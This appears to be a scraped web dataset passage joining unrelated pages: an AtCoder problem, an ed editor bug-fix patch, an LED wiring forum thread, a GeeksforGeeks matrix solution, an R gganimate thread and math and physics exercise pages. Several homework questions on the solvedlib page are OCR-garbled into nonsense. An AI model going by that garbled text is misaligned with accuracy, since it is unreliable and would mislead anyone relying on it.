0.07))\n\n\n## References\n\nBurks, S. V., Carpenter, J. P., Goette, L., & Rustichini, A. (2009). Cognitive skills affect economic preferences, strategic behavior, and job attachment. Proceedings of the National Academy of Sciences, 106(19), 7745–7750. doi:10.1073/pnas.0812360106\n\nChabris, C. F., Laibson, D., Morris, C. L., Schuldt, J. P., & Taubinsky, D. (2008). Individual laboratory-measured discount rates predict field behavior. Journal of Risk and Uncertainty, 37(2, 3), 237–269. doi:10.1007/s11166-008-9053-x\n\nDemurie, E., Roeyers, H., Baeyens, D., & Sonuga‐Barke, E. (2012). Temporal discounting of monetary rewards in children and adolescents with ADHD and autism spectrum disorders. Developmental Science, 15(6), 791–800. doi:10.1111/j.1467-7687.2012.01178.x\n\nKhurana, A., Romer, D., Betancourt, L. M., Brodsky, N. L., Giannetta, J. M., & Hurt, H. (2012). Early adolescent sexual debut: The mediating role of working memory ability, sensation seeking, and impulsivity. Developmental Psychology, 48(5), 1416–1428. doi:10.1037/a0027491\n\nLuhmann, C. C. (2013). Discounting of delayed rewards is not hyperbolic. Journal of Experimental Psychology: Learning, Memory, and Cognition, 39(4), 1274–1279. doi:10.1037/a0031170\n\nMadden, G. J., Petry, N. M., Badger, G. J., & Bickel, W. K. (1997). Impulsive and self-control choices in opioid-dependent patients and non-drug-using control participants: Drug and monetary rewards. Experimental and Clinical Psychopharmacology, 5(3), 256–262. doi:10.1037/1064-1297.5.3.256\n\nMcKerchar, T. L., & Renda, C. R. (2012). Delay and probability discounting in humans: An overview. Psychological Record, 62(4), 817–834.\n\nMeier, S., & Sprenger, C. D. (2010). Present-biased preferences and credit card borrowing. American Economic Journal: Applied Economics, 2(1), 193–210. doi:10.1257/app.2.1.193\n\nPeters, J., Miedl, S. F., & Büchel, C. (2012). Formal comparison of dual-parameter temporal discounting models in controls and pathological gamblers. PLOS ONE. doi:10.1371/journal.pone.0047225" ]
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http://atcoder.noip.space/contest/abc043/a
[ "# Home\n\nScore : $100$ points\n\n### Problem Statement\n\nThere are $N$ children in AtCoder Kindergarten. Mr. Evi will arrange the children in a line, then give $1$ candy to the first child in the line, $2$ candies to the second child, ..., $N$ candies to the $N$-th child. How many candies will be necessary in total?\n\n### Constraints\n\n• $1≦N≦100$\n\n### Input\n\nThe input is given from Standard Input in the following format:\n\n$N$\n\n\n### Output\n\nPrint the necessary number of candies in total.\n\n### Sample Input 1\n\n3\n\n\n### Sample Output 1\n\n6\n\n\nThe answer is $1+2+3=6$.\n\n### Sample Input 2\n\n10\n\n\n### Sample Output 2\n\n55\n\n\nThe sum of the integers from $1$ to $10$ is $55$.\n\n### Sample Input 3\n\n1\n\n\n### Sample Output 3\n\n1\n\n\nOnly one child. The answer is $1$ in this case." ]
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http://lists.suckless.org/hackers/0109/13234.html
[ "# [PATCH 1/5] ed: remove infinite loops in join() and getindex()\n\nFrom: Thomas Mannay <audiobarrier_AT_openmailbox.org>\nDate: Sun, 9 Oct 2016 23:10:20 +0000\n\n```---\ned.c | 8 ++++++--\n1 file changed, 6 insertions(+), 2 deletions(-)\ndiff --git a/ed.c b/ed.c\nindex 184ed30..f552234 100644\n--- a/ed.c\n+++ b/ed.c\n_AT_@ -192,7 +192,9 @@ getindex(int line)\nstruct hline *lp;\nint n;\n\n-\tfor (n = 0, lp = zero; n != line; ++n)\n+\tif (line == -1)\n+\t\tline = 0;\n+\tfor (n = 0, lp = zero; n != line; n++)\nlp = zero + lp->next;\n\nreturn lp - zero;\n_AT_@ -806,9 +808,11 @@ join(void)\nstatic char *s;\n\nfree(s);\n-\tfor (s = NULL, i = line1; i <= line2; i = nextln(i)) {\n+\tfor (s = NULL, i = line1;; i = nextln(i)) {\nfor (t = gettxt(i); (c = *t) != '\\n'; ++t)\ns = addchar(*t, s, &cap, &len);\n+\t\tif (i == line2)\n+\t\t\tbreak;\n}\n\ns = addchar('\\n', s, &cap, &len);\n--\n2.10.0\n--Multipart=_Sun__9_Oct_2016_23_20_20_+0000_Tw0GY2bnCixoZsD5\nContent-Type: text/x-patch;" ]
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https://forum.allaboutcircuits.com/threads/15-led-parallel-circuit.64032/#post-437419
[ "# 15 LED parallel circuit\n\n#### 1ntegr0\n\nJoined Dec 29, 2011\n2\nProbably a stupid question, but I'm not sure so I have to ask\n\nI have 15 LEDs (TSAL6400 TR Diode @ 100 mA) in parallel, divided into 2 groups. First group is 4 LEDs, second group is 11 LEDs. The first group is always on, the second group can be switched on and off by a switch. Wiring is all done, no problems there.\n\nThe problem is my power source. Previously, I used a special device that allowed me to send exactly 100 mA through the entire system, so no resistors were needed. Now, I can no longer access that device so I need to use a 9V battery (the square one). This also means that I have to use resistors now.\n\nI read somewhere that it is necessary for parallel circuits to use a different resistor for EACH LED (is this correct?). I also read that for parallel circuits Req = 1/R1 + 1/R2 ... 1/Rn but I'm not sure how to interpret this.\n\nBy doing R = U / I I find that R = 90 Ω. Does this mean that I need to give every LED a 90 Ω resistor, or do I have to devide 90 by 15? If so, wouldn't that give problems with my switch? Because if the switch is off, only 4 LEDs are powered so I would have to divide 90 by 4 instead of 15..\n\nJoined Dec 26, 2010\n2,148\nIf you read up on basic series and parallel circuits this should all become obvious to you. It isn't rocket science, as they say.\n\nUntil then, here are a few pointers.\n\n1. A separate resistor for each LED is very desirable. It is possible to use a single resistor for a group, but the brightness of the LEDs may be less consistent, and the reliability will be poorer.\n2. The resistor for each LED or group of LEDs must be calculated for the current and voltage concerned. Why in the name of... would anyone imagine that a single LED would require the same series resistor as a group of several in parallel?\n3. If you have two parallel groups switched separately, the minimum requirement would be a separate series resistor for each group. This will avoid a current change when the second set turns on.\n4. The resistor value needed for a single LED or parallel group is (Vs-Vf)/I, where Vs is the supply voltage, Vf is the LED forward voltage, and I is the total current for the number of LEDs concerned. Therefore, if a single LED requires R ohms, a group of ten LEDs in parallel would require R/10 ohms.\n5. Running large parallel groups of a little 9V battery is a very bad plan. You won't get 100mA for long at all - maybe a few hours. Better results might be obtained with the LEDs rearranged in series pairs [with less series resistance: R=(Vs-2Vf)/I ].\n6. Better still, use a battery made out of AA cells - depending on the LED voltage you may be able to use three or four cells to run LEDS - not in series but singly.\n\nJoined Dec 26, 2010\n2,148\nGood grief, these things are rated at 100mA (max) each ! http://www.vishay.com/docs/81011/tsal6400.pdf\n\nThere is no way that you could run 15 of these contraptions off a small 9V battery. At full power, a parallel group of 15 would draw 1.5 amps. Even putting them into series strings of two or three would still need more juice than a battery like that could provide.\n\nEdit: You might well choose to run each LED at less than 100mA, especially if you use the riskier option of not having individual resistors, but this still looks way beyond what this sort of battery can handle. http://en.wikipedia.org/wiki/Nine-volt_battery\n\nWhat sort of battery did you have in mind, and how long do you need this light to run for?\n\nLast edited:" ]
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https://research.nu.edu.kz/en/publications/on-the-singularity-analysis-of-intersecting-separatrices-in-near-
[ "# On the singularity analysis of intersecting separatrices in near-integrable dynamical systems\n\nTassos Bountis, V. Papageorgiou, M. Bier\n\nResearch output: Contribution to journalArticlepeer-review\n\n19 Citations (Scopus)\n\n## Abstract\n\nIt has been recently proved by S. L. Ziglin that transversal intersections of separatrices (invariant manifolds) in near-integrable Hamiltonian systems of two degrees of freedom imply the existence of multi-valued solutions with infinitely many Riemann sheets. Ziglin's theorem is illustrated here on a simple example and then extended and applied to non-Hamiltonian, analytic flows x ̇=f(x) + εg(x,t), with x≡(x,y) and g(x,t)=g(x,t+2π), which for ε = 0 possess the Painlevé property. On the other hand, the theoretically expected logarithmic singularities for ε ≠ 0 are obtained explicitly in solutions near the intersecting separatrices. Thus, we conjecture that dynamical systems with the Painlevé property, can have no separatrix intersections and hence no strange attractors, etc. These singularities are then numerically located and found to form certain very interesting \"chimney\" patterns in the complex t-plane, on which they accumulate densely. The upper part of the chimneys (away from the Re t axis) is asymptotically quite insensitive to changes in parameter values or initial conditions. The singularity pattern itself, however, becomes \"denser\" and each chimney is seen to gradually \"collapse\" towards the Re t axis, as the amplitude of the driving term increases and the motion becomes more chaotic.\n\nOriginal language English 292-304 13 Physica D: Nonlinear Phenomena 24 1-3 https://doi.org/10.1016/0167-2789(87)90081-9 Published - 1987\n\n## ASJC Scopus subject areas\n\n• Statistical and Nonlinear Physics\n• Mathematical Physics\n• Condensed Matter Physics\n• Applied Mathematics" ]
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https://questions.examside.com/past-years/gate/question/match-the-following-descriptions-with-each-of-the-diagrams-g-gate-ece-1993-marks-5-tbb1zkvoxdwmn05a.htm
[ "1\nGATE ECE 1993\nSubjective\n+5\n-0\nMatch the following descriptions with each of the diagrams given in Fig. Fields are near the interface, but on opposite sides of the boundary. Vectors are drawn to scale.\n\n(a) Medium $$1$$ and medium $$2$$ are dielectrics with $${\\varepsilon _1} > {\\varepsilon _2}$$\n(b) Medium $$1$$ and medium $$2$$ are dielectrics with $${\\varepsilon _1} < {\\varepsilon _2}$$\n(c) Medium $$2$$ is a perfect conductor\n(d) Impossible\n(e) Medium $$1$$ is a perfect conduct", null, "", null, "", null, "GATE ECE Subjects\nNetwork Theory\nControl Systems\nElectronic Devices and VLSI\nAnalog Circuits\nDigital Circuits\nMicroprocessors\nSignals and Systems\nCommunications\nElectromagnetics\nGeneral Aptitude\nEngineering Mathematics\nEXAM MAP\nJoint Entrance Examination" ]
[ null, "https://imagex.cdn.examgoal.net/JjCMOERn1iMIQreoH/iQmXAau7XovY9nYoOfBdb1IfhMSeR/2rieE3I9yyZAIwcxIp2Ug6/uploadfile.jpg", null, "https://imagex.cdn.examgoal.net/exYhOCfzVOEOV2EGr/pYzWnJAuq84fLMYERSgYxHMdMUI8a/4BGZ6MZEgfDv9kWr7t3yvK/uploadfile.jpg", null, "https://gateclass.cdn.examgoal.net/cLDIQbivLffZGzZ4L/BTZJme84kGgh9fYstRxJaWDFR6fSo/d5fAPcuMaTllpygQrgE6SO/uploadfile.jpg", null ]
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https://www.geeksforgeeks.org/pair-with-maximum-difference-in-a-matrix/amp/?ref=rp
[ "# Pair with maximum difference in a Matrix\n\nGiven a NxM matrix with N rows and M columns of positive integers. The task is to find the pair with the maximum difference in the given matrix.\n\nNote: Pairs at positions (a, b) and (b, a) are considered equivalent.\n\nExamples:\n\n```Input : mat[N][M] = {{1, 2, 3, 4},\n{25, 6, 7, 8},\n{9, 10, 11, 12},\n{13, 14, 15, 16}}\nOutput : 24\nPair (25, 1) has the maximum difference\n\nInput : mat[N][M] = {{1, 2, 3},\n{4, 6, 7},\n{9, 10, 5}}\nOutput : 9\nPair (10, 1) has the maximum difference.\n```\n\n## Recommended: Please try your approach on {IDE} first, before moving on to the solution.\n\nThe idea is to observe that the elements contributing to the pair with maximum difference are the maximum and minimum elements in the matrix. So, find the maximum and minimum elements in the matrix and return the difference between them.\n\nBelow is the implementation of the above approach:\n\n `// C++ program to find with maximum ` `// difference in a matrix ` ` `  `#include ` `using` `namespace` `std; ` ` `  `#define N 4 // Rows ` `#define M 4 // Columns ` ` `  `// Function to find pair with maximum ` `// difference in a matrix ` `int` `maxDifferencePair(``int` `mat[N][M]) ` `{ ` `    ``int` `maxElement = INT_MIN; ``// max ` `    ``int` `minElement = INT_MAX; ``// min ` ` `  `    ``// Traverse the matrix ` `    ``for` `(``int` `i = 0; i < N; i++) { ` `        ``for` `(``int` `j = 0; j < M; j++) { ` `            ``// Find max element ` `            ``if` `(mat[i][j] > maxElement) { ` `                ``maxElement = mat[i][j]; ` `            ``} ` ` `  `            ``// Find min element ` `            ``if` `(mat[i][j] < minElement) { ` `                ``minElement = mat[i][j]; ` `            ``} ` `        ``} ` `    ``} ` ` `  `    ``return` `abs``(maxElement - minElement); ` `} ` ` `  `// Driver Code ` `int` `main() ` `{ ` `    ``// matrix ` `    ``int` `mat[N][M] = { { 1, 2, 3, 4 }, ` `                      ``{ 25, 6, 7, 8 }, ` `                      ``{ 9, 10, 11, 12 }, ` `                      ``{ 13, 14, 15, 16 } }; ` ` `  `    ``cout << maxDifferencePair(mat) << endl; ` ` `  `    ``return` `0; ` `} `\n\n `// Java program to find with maximum ` `// difference in a matrix ` ` `  `import` `java.io.*; ` ` `  `class` `GFG { ` `  `  `static` `int` `N= ``4``; ``// Rows ` `static` `int`  `M = ``4``; ``// Columns ` ` `  `// Function to find pair with maximum ` `// difference in a matrix ` `static` `int` `maxDifferencePair(``int` `mat[][]) ` `{ ` `    ``int` `maxElement = Integer.MIN_VALUE; ``// max ` `    ``int` `minElement = Integer.MAX_VALUE; ``// min ` ` `  `    ``// Traverse the matrix ` `    ``for` `(``int` `i = ``0``; i < N; i++) { ` `        ``for` `(``int` `j = ``0``; j < M; j++) { ` `            ``// Find max element ` `            ``if` `(mat[i][j] > maxElement) { ` `                ``maxElement = mat[i][j]; ` `            ``} ` ` `  `            ``// Find min element ` `            ``if` `(mat[i][j] < minElement) { ` `                ``minElement = mat[i][j]; ` `            ``} ` `        ``} ` `    ``} ` ` `  `    ``return` `Math.abs(maxElement - minElement); ` `} ` ` `  `// Driver Code ` ` `  `    ``public` `static` `void` `main (String[] args) { ` `        ``// matrix ` `    ``int` `mat[][] = { { ``1``, ``2``, ``3``, ``4` `}, ` `                    ``{ ``25``, ``6``, ``7``, ``8` `}, ` `                    ``{ ``9``, ``10``, ``11``, ``12` `}, ` `                    ``{ ``13``, ``14``, ``15``, ``16` `} }; ` ` `  `    ``System.out.println( maxDifferencePair(mat)); ` `    ``} ` `} ` ` `  `// This code is contributed by inder_verma.. `\n\n `# Python3 program to find with maximum ` `# difference in a matrix ` ` `  `N ``=` `4` `# Rows ` `M ``=` `4` `# Columns ` ` `  `# Function to find pair with maximum ` `# difference in a matrix ` `def` `maxDifferencePair(mat): ` ` `  `    ``maxElement ``=` `-``10``*``*``9` `# max ` `    ``minElement ``=` `10``*``*``9` `# min ` ` `  `    ``# Traverse the matrix ` `    ``for` `i ``in` `range``(N): ` `        ``for` `j ``in` `range``(M): ` `             `  `            ``# Find max element ` `            ``if` `(mat[i][j] > maxElement): ` `                ``maxElement ``=` `mat[i][j] ` ` `  `            ``# Find min element ` `            ``if` `(mat[i][j] < minElement): ` `                ``minElement ``=` `mat[i][j] ` ` `  `    ``return` `abs``(maxElement ``-` `minElement) ` ` `  `# Driver Code ` ` `  `# matrix ` `mat ``=` `[[ ``1``, ``2``, ``3``, ``4` `], ` `       ``[ ``25``, ``6``, ``7``, ``8` `], ` `       ``[ ``9``, ``10``, ``11``, ``12` `], ` `       ``[ ``13``, ``14``, ``15``, ``16``]] ` ` `  `print``(maxDifferencePair(mat)) ` ` `  `# This code is contributed  ` `# by mohit kumar `\n\n `// C# program to find with maximum ` `// difference in a matrix ` `using` `System; ` ` `  `class` `GFG  ` `{ ` `static` `int` `N = 4; ``// Rows ` `static` `int` `M = 4; ``// Columns ` ` `  `// Function to find pair with  ` `// maximum difference in a matrix ` `static` `int` `maxDifferencePair(``int` `[,]mat) ` `{ ` `    ``int` `maxElement = ``int``.MinValue; ``// max ` `    ``int` `minElement = ``int``.MaxValue; ``// min ` ` `  `    ``// Traverse the matrix ` `    ``for` `(``int` `i = 0; i < N; i++)  ` `    ``{ ` `        ``for` `(``int` `j = 0; j < M; j++) ` `        ``{ ` `            ``// Find max element ` `            ``if` `(mat[i, j] > maxElement) ` `            ``{ ` `                ``maxElement = mat[i, j]; ` `            ``} ` ` `  `            ``// Find min element ` `            ``if` `(mat[i, j] < minElement) ` `            ``{ ` `                ``minElement = mat[i, j]; ` `            ``} ` `        ``} ` `    ``} ` ` `  `    ``return` `Math.Abs(maxElement -  ` `                    ``minElement); ` `} ` ` `  `// Driver Code ` `public` `static` `void` `Main () ` `{ ` `    ``// matrix ` `    ``int` `[,]mat = {{ 1, 2, 3, 4 }, ` `                  ``{ 25, 6, 7, 8 }, ` `                  ``{ 9, 10, 11, 12 }, ` `                  ``{ 13, 14, 15, 16 }}; ` `     `  `    ``Console.WriteLine( maxDifferencePair(mat)); ` `} ` `} ` ` `  `// This code is contributed ` `// by inder_verma `\n\nOutput:\n```24\n```\n\nAttention reader! Don’t stop learning now. Get hold of all the important DSA concepts with the DSA Self Paced Course at a student-friendly price and become industry ready.\n\nCheck out this Author's contributed articles.\n\nIf you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.\n\nPlease Improve this article if you find anything incorrect by clicking on the \"Improve Article\" button below.\n\nImproved By : inderDuMCA, mohit kumar 29\n\nArticle Tags :\nPractice Tags :" ]
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https://solvedlib.com/an-object-with-a-mass-of-8-kg-is-acted-on-by-two,151468
[ "# An object with a mass of 8 kg is acted on by two forces. The first is F_1= < -3\n\n###### Question:\n\nAn object with a mass of 8 kg is acted on by two forces. The first is F_1= < -3 N , 2 N> and the second is F_2 = < 6 N, -3 N>. What is the object's rate and direction of acceleration?\n\n#### Similar Solved Questions\n\n##### OHOpiion 3Option &Option 5\nOH Opiion 3 Option & Option 5...\n##### 22 Consider the region between y Vi - and y1 -where 0 < x < 2(This is the right half of the region enclosed by the ellipse +y2 1.) Revolve this region about the y-axis. The resulting solid of revolution is an Yoblate spheroid\" and looks like something like a squashed sphere. Compute the volume of this oblate spheroid: 2. Compute the surface area of this oblate spheroid. \n22 Consider the region between y Vi - and y 1 - where 0 < x < 2 (This is the right half of the region enclosed by the ellipse +y2 1.) Revolve this region about the y-axis. The resulting solid of revolution is an Yoblate spheroid\" and looks like something like a squashed sphere. Compute t...\nWhcn & 2.75-kg fan. having blades 18. cm long; is tumed off. its angular speed decreases uniformly from [0.0 rad/s t0 630 rdls in 00 $. What is the magnitude of the angular acceleration of the fan? Through what angle (in evs} docs i1 (um while it is slowing down during te S,4 :... 5 answers ##### Gaph Ilu follow iLe rlani (uuct JOtL tuutr tiou soparate paperh:uut*OUS Leck3houthe cotuputa-f(s) 35 3 =Fadi Mi:Ventical Asvtuj\"ote;HorizomtalySlatt Asvtuptolts\"u-intercept. r-intercept ():uteril WMCTC f(s) inCTeAing:Tuteryly where f() decTensig:Eeltic Arca-uterinile \"cr= f(r)CotJutttals wlicm {(4) \"MliaaAe dowu:I; Iulkartien pimis: Gaph Ilu follow iLe rlani (uuct JOtL tuutr tiou soparate paperh: uut*OUS Leck 3hou the cotuputa- f(s) 35 3 = Fadi Mi: Ventical Asvtuj\"ote; HorizomtalySlatt Asvtuptolts\" u-intercept. r-intercept (): uteril WMCTC f(s) inCTeAing: Tuteryly where f() decTensig: Eeltic Arca- uterinile \"cr= ... 5 answers ##### 6*0310.05 019,7\"2 An7 1Skelch thc \"patcapacities Winalion tempiratun dlerent Wsterns Perert Ma atalomic Consmnt yolume 4nd prrtrune 14u-a etorn _ Gas 31juv] Vclumr1nd pressure Real DJiato Wmic Gas consman Voldma 7n Ferfect Monoatowic Gas &6 Junieuo) WJlh Ad p\"eL () Uea( () ia|Constant lume ad Ga$ at P+9n fect Diatu €Idlea | (2) 02 adec|tonsto4t Wrl Real diafomi € Gas AtKen ( Uinav Foht TutatenT /ic\n6*03 10.05 019, 7\"2 An7 1 Skelch thc \"patcapacities Winalion tempiratun dlerent Wsterns Perert Ma atalomic Consmnt yolume 4nd prrtrune 14u-a etorn _ Gas 31juv] Vclumr1nd pressure Real DJiato Wmic Gas consman Voldma 7n Ferfect Monoatowic Gas &6 Junieuo) WJlh Ad p\"e L () Uea( () ia|...\n##### 3. Calculation (7' *8 = 56') (1). Disscuss the convergence of the series (n=1 sinzn .\n3. Calculation (7' *8 = 56') (1). Disscuss the convergence of the series (n=1 sinzn ....\n##### Question (4 points):The vector -3 belongs to Pz _ 5Select one:TrueFalse\nQuestion (4 points): The vector -3 belongs to Pz _ 5 Select one: True False...\n##### The following is a graph of the arrival rate of customers (over 2-hour period) . You decide to model this as an M/M/1 queue with service rate 30 per hr: Compute the average wait in queue if you: Assume that the arrival rate is constant over the 2-hour period (dashed (a) line) Assume that the arrival rate is constant over specific intervals (solid (b) line). Assume the queue is in steady state over each interval, compute the average wait in queue for each interval and then compute the overall ave\nThe following is a graph of the arrival rate of customers (over 2-hour period) . You decide to model this as an M/M/1 queue with service rate 30 per hr: Compute the average wait in queue if you: Assume that the arrival rate is constant over the 2-hour period (dashed (a) line) Assume that the arrival...\n##### For different electronic item, you cannot use resistance to describe them. So we have to introduce...\nFor different electronic item, you cannot use resistance to describe them. So we have to introduce a new concept called impedance. The impedance of inductors is ZL jul and the impedance of capacitors is e = where j is the imaginary number which is equal juC The modulus of total impedance in the foll...\n##### Consider a 5.85 m long sports car going past you at great speed. How fast would...\nConsider a 5.85 m long sports car going past you at great speed. How fast would it have to be going past you in order for it to appear only 5.35 m long? Give you answer as a ratio of the velocity to the speed of light c....\n##### Case Study: Policy planning for occupational health and exposure control Evaluating policy measures to protect healthcare...\nCase Study: Policy planning for occupational health and exposure control Evaluating policy measures to protect healthcare workers from bloodborne pathogens: Universal Precautions, Post-exposure follow-up, and Exposure control planning. During the evening tour of duty on the weekend, an ICN Nurse sus...\n##### How do you graph using the intercepts for 5x + 2y = -2?\nHow do you graph using the intercepts for 5x + 2y = -2?...\n##### Solve each equation by completing the square. See Examples 5 through 8.$10 y^{2}-30 y=2$\nSolve each equation by completing the square. See Examples 5 through 8. $10 y^{2}-30 y=2$...\n##### Fe Tcctangles are arranged from the least t0 the greatest area and named A. B. € Dand E in order of increasing aneaAlI dimensions are whole numbers and no two rectangles have the same area Determine the dimensions of all five rectangles using the following clues: The median area is |5 units? Rectangles B and D) are squares. Rectangles € and D have the same perimeter Rectangles B, and € have the same length: Reetangles D and E have the same length: Rectangles and E have the same Width:\nFe Tcctangles are arranged from the least t0 the greatest area and named A. B. € Dand E in order of increasing anea AlI dimensions are whole numbers and no two rectangles have the same area Determine the dimensions of all five rectangles using the following clues: The median area is |5 units? ...\n##### Question Which chain conunne moroMOTE stable, why?HjC H,ci\" €-Ch;Ch; CH;CH;QuestionWhich of the following conformers has the highest energy?Explain your reason:Question Show all the staggered conformers 0f 2,3-dimethylbutane and estimate the energy dlfferences hetween them:Question , Draw all the isomers with molecular formula CaH zthat contain a cyclobutane ring (Hint: There are seven)Constitutional isomersStereoisomers\"Chiral compounds4.achiral compountscis-trans Isomen:\nQuestion Which chain conunne moro MOTE stable, why? HjC H,ci\" €-Ch; Ch; CH; CH; Question Which of the following conformers has the highest energy? Explain your reason: Question Show all the staggered conformers 0f 2,3-dimethylbutane and estimate the energy dlfferences hetween them: Questi...\n##### 4 If A =2 is an eigenvalue of the matrix A =[2 3] which one is its corresponding eigenvector? (c) (4,1) (d) (1,1) (e) (1,2)(a) (1, 2)(6) (2,3)\n4 If A =2 is an eigenvalue of the matrix A = [2 3] which one is its corresponding eigenvector? (c) (4,1) (d) (1,1) (e) (1,2) (a) (1, 2) (6) (2,3)...\n##### How does the United States compare to other OECD countries with respect to the WHO system...\nHow does the United States compare to other OECD countries with respect to the WHO system objectives (health improvement, system responsiveness, financial fairness)?...\n##### Show, using the definition of the derivative, thatf(c) = 3 is differentiable for € 0.\nShow, using the definition of the derivative, that f(c) = 3 is differentiable for € 0....\n##### How do you prove tan(-A)=-tanA?\nHow do you prove tan(-A)=-tanA?...\n##### The following are account balances for Sam Olin Co. for the year ended December 31, 2018:...\nThe following are account balances for Sam Olin Co. for the year ended December 31, 2018: Fees earned $168,000 Cash$30,000 14,000 Selling expenses Accounts receivable 44,000 42,000 Sam, capital Equipment 36,000 Accounts payable 12,000 Interest Payable 3,000 Salaries & wages expense 40,000 Rent ...\n##### Which phrase best describes the style of Rodin's sculptures\nWhich phrase best describes the style of Rodin's sculptures? psychological and unfinished, Neo-Classical yet light-hearted, unfinished and light-hearted, unfinished yet polished? I think it is unfinished and light-hearted....\n##### Graph neatly and shade the region determined by:2𝑥−3𝑦 ≤6𝑥+2𝑦 ≤10𝑥≥2𝑦≥0\nGraph neatly and shade the region determined by: 2𝑥−3𝑦 ≤6 𝑥+2𝑦 ≤10 𝑥≥2 𝑦≥0...\n##### Question: Balance the following reactions by the oxidation number method\nQuestion: Balance the following reactions by the oxidation number method. a) I2 + HNO3 --> HIO3 + NO2 + H2O so i have N +5 to +4 net charge = -1 I 0 to +5 net charge = +5 i add coefficient where the oxidation number is changing. in this case I2 + 4HNO3 --> 2HIO3 + 4NO2 + H2O i cant balanc...\n##### An aluminum can of mass 0.12 kgkg contains waterat 17.5 ∘C∘C . Iron pellets with a total massof 4.1 kgkg at 78.4 ∘C∘C aredropped into the can, and the can and its contents come toequilibrium at 34.0 ∘C∘C. Specific heat of water =4190 J/(kgâ‹…J/(kg⋅∘C)∘C); Specific heat of aluminum = 910 J/(kgâ‹…J/(kg⋅∘C)∘C); Specific heat of iron =470 J/(kgâ‹…J/(kg⋅∘C)∘C). How many kilograms of water are in the can?\nAn aluminum can of mass 0.12 kgkg contains water at 17.5 ∘C∘C . Iron pellets with a total mass of 4.1 kgkg at 78.4 ∘C∘C are dropped into the can, and the can and its contents come to equilibrium at 34.0 ∘C∘C. Specific heat of water = 4190 J/(kgâ‹…J/(kgâ‹…â..." ]
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https://community.rstudio.com/t/changing-plot-title-with-frame-using-gganimate/159682
[ "# Changing plot title with frame using gganimate ?\n\nI'm using the `gganimate` package, and needing to change the plot to a character value according to the relevant frame being displayed.\n\nMy data, like this minimal reprex, uses `transition_time`. Due to some complicated factors and a possible bug in gganimate, my data must use `transition_time` instead of `transition_states`, so please don't attempt to modify this part!\n\nIn the title, how can I display the contents of `myversion` when the frame is on `myid` ? So \"one\" when frame is referencing myid=1, \"two\", when referencing myid=2, etc...\n\n``````library(ggplot2)\nlibrary(gganimate)\nlibrary(dplyr)\n\n#Make a version of mtcars suitable for the reprex\nnew_mtcars <-\nrbind(\nrbind((mtcars*1.5) %>%\nmutate(\"myversion\"=\"one\",\n\"myid\"=1),\n(mtcars*2.5) %>%\nmutate(\"myversion\"=\"two\",\n\"myid\"=2)),\n(mtcars*3.5) %>%\nmutate(\"myversion\"=\"three\",\n\"myid\"=3)\n)\n\n#Animate\nggplot(new_mtcars, aes(x=cyl, y=mpg))+\ngeom_point() +\ntransition_time(myid) +\nease_aes('linear') +\ngeom_hline(yintercept=25)+\ngeom_hline(yintercept=50)+\ngeom_hline(yintercept=75) +\ngeom_vline(xintercept=20) +\ngeom_vline(xintercept=10) +\ngeom_vline(xintercept=20) +\nggtitle('myversion: {frame_time}') #Want it to say \"one\" when myid=1, \"two\" when myid=2, etc...\n``````", null, "Below is one approach using `xfun::numbers_to_words()` to translate from a numeric to the associated number spelling, as well as a few additions to the ggplot (`coord_cartesian`, `geom_text`, and `plot.margin`). All are designated # NEW.\n\n``````library(ggplot2)\nlibrary(gganimate)\nlibrary(dplyr)\n\n#Make a version of mtcars suitable for the reprex\nnew_mtcars <-\nrbind(\nrbind((mtcars*1.5) %>%\nmutate(\"myversion\"=\"one\",\n\"myid\"=1),\n(mtcars*2.5) %>%\nmutate(\"myversion\"=\"two\",\n\"myid\"=2)),\n(mtcars*3.5) %>%\nmutate(\"myversion\"=\"three\",\n\"myid\"=3)\n) %>%\nmutate(Title = paste0('myversion: ', xfun::numbers_to_words(myid))) # NEW\n\n#Animate\nggplot(new_mtcars, aes(x=cyl, y=mpg))+\ngeom_point() +\ncoord_cartesian(ylim = c(0, 120), clip = 'off') + # NEW\nscale_y_continuous(expand = c(0, 0)) +\ntransition_time(myid) +\nease_aes('linear') +\ngeom_hline(yintercept=25)+\ngeom_hline(yintercept=50)+\ngeom_hline(yintercept=75) +\ngeom_vline(xintercept=20) +\ngeom_vline(xintercept=10) +\ngeom_vline(xintercept=20) +\ngeom_text(aes(x = 5 , y = 122 , label = Title), size = 4, hjust = 0) + # NEW\ntheme(plot.margin = margin(1,1,1,1,'cm')) # NEW\n``````\n\nStill image", null, "1 Like\n\nVery clever to focus on positioning a `geom_text` of the required text rather than using `ggtitle` !\n\nI found that if you using `ggtitle(\" \")` it provides enough space up top so that `theme(plot.margin = margin(1,1,1,1,'cm'))` can be left out.\n\nThanks!\n\n1 Like\n\nThis topic was automatically closed 7 days after the last reply. New replies are no longer allowed.\n\nIf you have a query related to it or one of the replies, start a new topic and refer back with a link." ]
[ null, "https://community.rstudio.com/uploads/default/original/3X/1/c/1c6fdf722608d4965d4513135189c0d18274cde3.gif", null, "https://community.rstudio.com/uploads/default/original/3X/5/b/5b8185f1222f1e5236fe46045c3d5d50122d2f5b.png", null ]
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https://www.nagwa.com/en/worksheets/819181240805/
[ "# Lesson Worksheet: Area of Squares and Rectangles Mathematics • 4th Grade\n\nIn this worksheet, we will practice writing a formula for the area of a rectangle using its base and height and using it to calculate the areas of squares and rectangles.\n\nQ1:\n\nFind the area of a rectangle whose length is 12 cm and width is 4 cm.\n\nQ2:\n\nThe length of a rectangle is 9 cm and the width is 8 cm. What is the area of the rectangle?", null, "Q3:\n\nWork out the area of the rectangle.", null, "Q4:\n\nThe length of a rectangle is 7 cm and its area is 42 cm2. What is the width of the rectangle?", null, "Q5:\n\nFind the length of a rectangle with width 6 cm and an area of 66 cm2.\n\nQ6:\n\nA rectangular bedroom is 4 meters long and 3 meters wide. Find its area.", null, "Q7:\n\nChoose the rectangle whose area is 12 square units.\n\n• A", null, "• B", null, "• C", null, "• D", null, "Q8:\n\nThe rectangle has an area of 28 square units. One side measures 7 units.", null, "Find the missing side length.\n\n• A14 units\n• B4 units\n• C21 units\n• D5 units\n• E3 units\n\nQ9:\n\nCalculate the area of the shape.", null, "Q10:\n\nCalculate the area of a rectangle whose length is 10 cm and width is 5 cm.\n\nThis lesson includes 21 additional questions and 134 additional question variations for subscribers.\n\nNagwa uses cookies to ensure you get the best experience on our website. Learn more about our Privacy Policy." ]
